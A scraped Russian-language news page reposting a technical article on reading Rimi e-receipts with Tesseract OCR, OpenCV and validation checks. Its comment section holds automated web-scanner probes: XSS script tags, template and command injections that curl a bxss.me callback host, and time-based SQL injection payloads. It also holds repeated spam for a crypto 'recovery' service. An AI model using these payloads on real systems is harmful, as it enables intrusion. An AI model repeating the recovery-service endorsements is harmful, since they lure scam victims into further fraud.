Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9505 / Markets: 114717
Market Cap: $ 3 663 340 658 986 / 24h Vol: $ 222 537 540 211 / BTC Dominance: 58.861607907734%

Н Новости

Оптическое распознавание символов и разбор чеков Rimi

Введение

Некоторое время назад в нашей стране крупные сети магазинов стали вводить электронные чеки. В частности, магазины сети Rimi. Эти чеки покупатель получает по почте в виде PDF документа. У меня скопилось много таких чеков, и мне стало интересно посмотреть на разного рода статистику: например, на цены на различные товары в разное время, сколько чего было приобретено и т. п.

К сожалению, PDF документы, которые покупатели получают – это картинка. Получить интересующую меня информацию из них без оптического распознавания символов (OCR) невозможно. Однако, OCR, как оказалось, не на столько хорош, чтоб идеально справиться и точно всё распознать с первого раза. И это несмотря на то, что чеки достаточно хорошего качества: строки ровные, нет никаких артефактов в виде тёмных пятен, буквы достаточно одинаковые (правда присутствуют несколько разных шрифтов). Вот так это выглядит:

Пример чека - список товаров
Пример чека - список товаров

Сразу уточню: речь не идёт о распознавании любых чеков. Это всего лишь чеки одной конкретной сети магазинов.

Забегая вперёд - в результате всех моих стараний только 4 чека из более чем 300 распознаются с ошибками. Новые чеки, которые появляются, тоже успешно обрабатываются.

В этой статье я расскажу о моём подходе к разработке приложения, о сложностях, с которыми столкнулся и как их решал, а также о том, какие альтернативные подходы я пробовал и почему от них в итоге отказался.

Код приложения доступен на Github. Там же есть тест с примером чека.

Инструменты, которые я использовал

Для OCR я использовал Tesseract. Там уже была готовая модель для распознавания латышского языка, и он изначально хорошо справлялся с распознаванием чеков.

В плане языка разработки я выбрал Java + Spring Boot + Tess4j. Java – потому что это на данный момент мой основной язык и, несмотря на то, что я Python знаю в достаточной мере, чтобы подобный проект реализовать, я предпочитаю что-то более надёжное, с сильной типизацией и с возможностью ловить ошибки при компиляции. Spring Boot – по сути просто для своего удобства, а Tess4j - это библиотека, которая позволяет «общаться» с Tesseract-ом.

Так же я использовал opencv для обработки картинок.

Цель проекта

Разработать приложение, которое будет превращать PDF чеки в JSON c такими полями:

  1. Время/Дата чека

  2. Общая сумма чека

  3. Общая сумма скидок

  4. Список купленных товаров, каждый купленный товар должен иметь:

    1. Название

    2. Количество

    3. Единицы (килограммы, штуки, упаковки)

    4. Цену за единицу

    5. Скидку

    6. Окончательную цену

Вот расположение этих значений на чеке:

Пример чека - расположение элементов из списка на чеке
Пример чека - расположение элементов из списка на чеке

Так же важно точно знать, что чек распознан правильно – как минимум суммы сходятся. В противном случае должна быть отображена информация об ошибках.

Процесс разработки

Процесс разработки у меня был итеративный и повторялся он до тех пор, пока я не стал удовлетворён результатом. Выглядел он так:

Процесс разработки
Процесс разработки

На каждой итерации я делал изменения в коде. Дальше с этими изменениями обрабатывал все имеющиеся PDF файлы. В результате получал JSON документы по каждому чеку и общий репорт по всем чекам.

Следующий шаг – это ручная проверка. Но не подумайте, я не сравнивал вручную 300+ картинок с получившимися документами. Я всего лишь смотрел на изменения в JSON документах и в общем репорте. Репорт содержит для каждого чека либо слово SUCCESS, либо список ошибок, которые были выявлены на этапе проверки. Подробнее о нахождении ошибок я напишу дальше.

По результату ручной проверки принималось решение – либо фиксировать текущее состояние кода, документов и репорта, либо нужны дополнительные изменения.

Замечу, что хранение готовых JSON документов и некоторых промежуточных файлов в системе контроля версий помогает легко отслеживать изменения и сопоставлять их с изменениями в коде. В моём случае я хранил JSON документы и репорт в отдельном от кода репозитории, но IDE позволяла удобно использовать параллельно 2 репозитория в одном проекте.

Вот пример репорта, когда было сделано улучшившее результат разбора текста чека:

Улучшение результатов обработки документа
Улучшение результатов обработки документа

А тут изменение в JSON документе чека:

Улучшение разбора текста
Улучшение разбора текста

Подробнее о том, как происходит поиск ошибок и создаётся репорт я расскажу дальше.

OCR – оптическое распознавание символов

Первый шаг в процессе превращения PDF документа в JSON — это OCR или оптическое распознавание символов. Я начал с самого примитивного подхода: скармливал Tesseract-у PDF документ как есть и получал весь найденный текст. Однако, при попытках дальнейшей обработки этого текста и дальнейшей валидации полученных документов я осознал, что найденные ошибки распознавания трудно исправить, так как в этом случае нет информации о местоположении символов на картинке и, следовательно, нет возможности как-либо пытаться эту ошибку исправить. Поэтому, вместо того, чтоб запрашивать у Tesseract-а просто текст, я стал запрашивать TSV документ. Описание формата этого документа я нашёл тут.

Выглядит он так:

Пример результата OCR в TSV документ
Пример результата OCR в TSV документ

Для более удобного использования я собрал его в структуру объектов и распечатал в виде JSON документа:

JSON представление TSV результата OCR
JSON представление TSV результата OCR

Помимо самих распознанных слов теперь я имел доступ и к местоположению этих слов на картинке, и имел возможность пытаться исправить неточности распознавания уже на этапе обработки распознанного текста.

Дополнительно я пытался улучшить качество распознавания всего чека как посредством изменений настроек Tesseract-а, так и с помощью предварительной обработки картинки. Про настройки я углубляться не буду – тут всё решалось методом подбора, а вот с предварительной обработкой – тут есть чем поделиться.

Я нашёл эту статью в которой описаны варианты предварительной обработки картинки, но ввиду того, что чеки достаточно хорошего качества, единственное полезный совет в этой статье для моего случая – это удаление шума.

Я обратил внимание на то, что на чеке, как раз вокруг текста, есть блеклые пятна – шум, его я удалил с помощью Imgproc.threshold. Параметры я подбирал «на глаз»: сохранил картинки результата обработки с разными параметрами и выбрал наиболее подходящий. Получилось так:

Слева - оригинал, справа - после обработки
Слева - оригинал, справа - после обработки

Такая обработка улучшила результаты распознавания, но всё равно ошибки встречались достаточно часто. Поэтому я опробовал ещё способы улучшить распознавание.

Способ 1: увеличить расстояние между строк

На первый взгляд это казалось весьма тривиальной задачей – проверять по пикселям каждую строчку в картинке чека:

  1. находим строку, где все пиксели белые

  2. вставляем 30 пикселей белых строк вместо этой
    строки.

Схематически это выглядит так (красной рамочкой обозначены строки, состоящие только из белых пикселей.

Расширение межстрочного пространства
Расширение межстрочного пространства

На практике же обилие диакритиков и высоких букв (которые залезают на межстрочное пространство) превратило это задачу в неподъёмную. Возможно, в языках, где диакритиков нет или их количество меньше, разделение на строки таким образом может сработать. Во всяком случае в тех местах, где удалось увеличить расстояние между строками, качество распознавания так же улучшалось. Например:

Слева - оригинал, справа - увеличено межстрочное пространство
Слева - оригинал, справа - увеличено межстрочное пространство
Слева распознавание оригинала, справа - с увеличеным межстрочным пространством
Слева распознавание оригинала, справа - с увеличеным межстрочным пространством

А вот, например, проблема с диакритиком – он неправильно "приклеился" к нижней строке, соответственно и текст теперь распознан неправильно:

Знак смягчения под буквой n "приклеился" к 2 на следующей строке
Знак смягчения под буквой n "приклеился" к 2 на следующей строке

В общем первый способ в целом успехом не увенчался, и я решил продолжать без него.

Способ 2: Проверка на соответствие шаблону (template matching).

Идея проста – для каждой цифры сделать шаблон картинки. Дальше, после распознавания, проверять правильность правильность полученых чисел сверяя текст с картинкой по шаблонам.

Распознаное слово и его координаты на картинке чека
Распознаное слово и его координаты на картинке чека

Надо отметить, что Tesseract не распознаёт отдельные цифры, а только числа целиком, например, на картинке слева число 0,10 является одним словом.

Следовательно, чтобы проверять картинку этого текста на соответствие распознанному тексту я должен взять область на картинке всего чека по координатам "x" : 324, "y" : 2845 с размерами "width" : 127, "height" : 43 и внутри этой области искать шаблоны каждой цифры. Далее, основываясь на результатах поиска, делать вывод соответствует ли текст картинке.

В opencv есть функционал поиска картинки в картинке, но, я, пытаясь реализовать этот подход, ушёл в глубокие дебри (даже рассказывать о них не вижу смысла) и решил его отложить на случай, если не найду более простых решений. Spoiler alert – нашёл, но об этом дальше.

Способ 3: Чёрный список символов

Тут всё просто: в моём случае часто в тексте появлялись символы подчёркивания «_» и тире «—».

В первом случае это всегда была путаница между знаком долготы над буквой на следующей строке, а во втором – знак минус.

Добавление этих символов в чёрный список в Tesseract-е решило эту проблему.

Кэширование результатов OCR

Так как процесс OCR занимает достаточно много времени, а конфигурация меняется не часто, я решил кешировать результаты. То есть все результаты распознавания целого чека сохраняются в отдельные файлы:

  1. Сконвертированный PDF в TIFF (всё же Tesseract работает с картинками, а не с PDF),

  2. Обработанный TIFF,

  3. Текст распознавания всего чека,

  4. TSV распознавания всего чека,

  5. JSON представление информации из TSV документа.

Пример папки со всеми артефактами распознавания чека
Пример папки со всеми артефактами распознавания чека

Соответственно, когда изменения вносятся в обработку текста и TSV документа, нет необходимости прогонять OCR всего документа – достаточно считать имеющиеся файлы.

Процесс обработки текста + исправление ошибок распознавания

Всю обработку чека можно разбить на несколько частей:

  1. Поиск интересующих частей во всём тексте документа (дата/время, купленные товары),

  2. Сбор и трансформация данных,

  3. Проверка правильности и исправление ошибок.

Поиск

Чтобы найти необходимые участки в тексте, например, время или список товаров или общая сумма чека я использовал регулярные выражения или шаблоны строк.

Например, чтобы найти общую сумму чека, я искал строку, которая соответствует регулярному выражению Samaksai EUR +(.*).

Или, например, для определения начала и конца списка товаров я схожим образом выбираю определённые строки: context.getLinesBetween("KLIENTS:", "Maksājumu karte");

Понятное дело, что это всё работает ровно до тех пор, пока структура чека не меняется, но эта проблема общая для парсинга практически всего. Тут важно, чтоб изменения в формате чека не оставались незамеченными – т.е. даже если сам парсинг не упал, то какие-то проверки в конце должны показывать ошибки.

Дополнительно такой поиск осложнён тем, что распознавание текста не идеальное, и из-за этого приходится изощряться, например строка, в которой указаны количество, цена за единицу и стоимость товара может иметь весьма экзотический вид:

Возможные варианты распознования строки с информацией о товаре
Возможные варианты распознования строки с информацией о товаре

Тут и лишние пробелы, и буквы вместо цифр, и неправильный формат чисел, и вообще много всяких интересностей. В результате и регулярка, которая используется для распознавания такой строки должна все эти варианты распознавать: .?(.*) +.* +(X|xXx) +(\d+([.,] ?\d+)?)\W+.{2,3}(/ ?kg)? +(.*)
Дальше из найденных строк конкретные части можно доставать по индексу, или по индексу с конца, или уже по принципу: 3-е слово после блаблабла.

Сбор и трансформация данных

На этом шаге найденный тест должен превратиться в структуру данных. То есть, по сути, сложить найденные данные в поля объектов: всё на свои места.

Для текстовых полей всё просто – никаких трансформаций не требуется (даже если текст неправильно распознан, с этим ничего не сделать – сохраняем как есть).

В то же время числа надо сначала получить из текста. И здесь, (о, сюрприз!) числа не всегда правильно. К счастью, я смог найти несколько способов, как эти ошибки можно исправить.

В коде я пытаюсь превратить получить значение числа из текста такими способами:

  1. Слово как его нашёл Tesseract

6c6907aaa3bda7b9747ed89d0784dccb.png

Например, я ожидаю что текст является суммой денег. В таком случае слово «-0,36» соответствует формату числа, а слово «36» – не соответствует, так как не содержит двух знаков после запятой.

  1. Объединить со следующим словом в строке.

Два последовательных слова образуют правильное число
Два последовательных слова образуют правильное число

Например, опять же, ожидается сумма денег, но имеется текст «36». Тогда можно попробовать взять предыдущее слово в строке и сложить их в одно, результат проверить на соответствие формату. В этом случае, если предыдущее слово, например, «-0,», то результат «-0,36» будет соответствовать формату суммы денег. Примечание – я не пробовал склеить слово со следующим потому, что, изначально, я выбирал слова с конца строки – например последнее слово в строчке. Если брать слова по индексу с начала строки, то можно пробовать склеивать так же и со следующим словом в строке.

  1. Заново сделать OCR для слова

Иногда Tesseract ошибается с распознаванием чисел при распознавании всего чека целиком, а если попросить его заново распознать место в картинке, где он сам нашёл это слово – то он уже показывает правильный результат.

Например, изначально распознано было так

Формат числа скидки "-1,865"  не соответствует формату суммы
Формат числа скидки "-1,865" не соответствует формату суммы

Но при этом Tesseract верно определил положение текста скидки в картинке:

Область в которой Tesseract нашёл слово "-1,865"
Область в которой Tesseract нашёл слово "-1,865"

Следовательно я могу запустить распознавание заново именно для этой области. Дополнительно, на этом шаге, есть возможность указать список допустимых символов в настройках Tesseract-а – т.е. цифры от 0 до 9, знаки «+» и «-» и запятая, отделяющая целую и дробную часть. Это существенно улучшает качество распознавания.

  1. Заново сделать OCR для всей строки – суть подхода такая же, как и в предыдущем подходе, разве что нет возможности ограничить список ожидаемых символов, так как в строке присутствуют и цифры и буквы.

Дополнительно, я обнаружил, что из-за того, что некоторые секции чека имеют другой шрифт – им вообще следует делать OCR всегда заново. Таким образом, с помощью этого безусловного повторного прогона OCR исправляются проблемы неправильного распознавания цифр, например:

Секция с другим шрифтом отдельно распознаётся лучше. Слева - распознавание всего чека, справа - распознавание отдельной области чека.
Секция с другим шрифтом отдельно распознаётся лучше. Слева - распознавание всего чека, справа - распознавание отдельной области чека.

Проверка правильности и исправление ошибок

После того, как один товар полностью обработан, то есть полностью пройдена секция с одним товаром – есть возможность проверить правильно ли распознаны все значения относительно друг друга.

Пример секции в которой описан один приобретённый товар
Пример секции в которой описан один приобретённый товар

А именно, общая сумма (Gala cena 1,75) должна быть равна кол-ву (1 gab), умноженному на стоимость единицы (2.19 EUR), минус скидка (Atl. -0,44). Если это не так, то делается повторное распознавание всех этих текстов. Т.е. распознаётся текст в областях где находятся числа с использованием списка разрешённых символов.

Это часто помогает решить проблему, когда путаются цифры 0,8,6,9.

Первая строка - оригинальное распознавание. Вторая строка - повторное распознавание после найденой ошибки.
Первая строка - оригинальное распознавание. Вторая строка - повторное распознавание после найденой ошибки.

Подобным образом можно поступать и когда весь чек уже обработан: можно проверять числа общей суммы чека или общей суммы скидок относительно сумм соответствующих значений в списке товаров и делать повторное распознавание. Мне это делать не пришлось, так как ошибок, которые такой подход решил бы, не осталось.

Автоматические проверки правильности чеков и заключительный репорт

Чтобы оценивать правильность распознавания чеков, я сделал автоматические проверки. Все проверки касаются чисел, которые фигурируют в чеке. Проверять на правильность названия, в теории, тоже можно было бы, но мне правильность названий на данном этапе не так важна, поэтому я фокусировался на правильности чеков с точки зрения правильности всех чисел на них.

Проверки выполняются на заключительном этапе, когда есть уже готовые объекты чеков и выполняются лишь для того, чтоб составить окончательный репорт.

Вот список проверок:

  1. Для каждого числа – формат соответствует. Т.е. если это деньги, то это две позиции после запятой; если вес, то 3 позиции после запятой; если количество, то целое число.

  2. Общая сумма скидок (напечатана на чеке отдельно) равна сумме скидок всех товаров

  3. Для каждого товара: количество * стоимость за единицу – скидка = конечная стоимость

  4. Общая сумма чека равна сумме конечных стоимостей всех товаров

  5. Сумма категорий скидок (отдельная секция на чеке) равна общей сумме скидок

Категории скидок
Категории скидок
  1. Сумма платежей разными методами (карта, наличка, купоны) равна общей сумме чека

Ошибки, найденные в результате всех этих проверок, записываются в репорт и позволяют в одном месте видеть общую картину по всем чекам.

Кроме возможности оценить изменения в коде, это позволяет увидеть, какая проблема встречается чаще всего, чтобы выбрать наиболее широко распространённую проблему для решения в следующей итерации.

Выводы

  1. Препроцессинг картинок который производит сам Tesseract, может быть, недостаточно хорош и есть смысл пробовать делать дополнительный препроцессинг самому.

  2. Дополнительное расстояние между строк текста на картинке улучшает качество распознавания, но диакритики усложняют автоматическое расширение межстрочного пространства

  3. Использование чёрного списка и белого списка символов улучшает точность распознавания

  4. Повторное распознавание областей картинки позволяет точнее распознать текст в этих областях. Интересующие области можно получать, используя TSV результат распознавания от Tesseract-a

  5. Наличие разных шрифтов в тексте ухудшает качество распознавания. Области имеющие разный шрифт по возможности следует распознавать отдельно.

  6. Необходима автоматическая валидация полученного результата

Спасибо всем, кто прочитал до конца :)

Источник

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

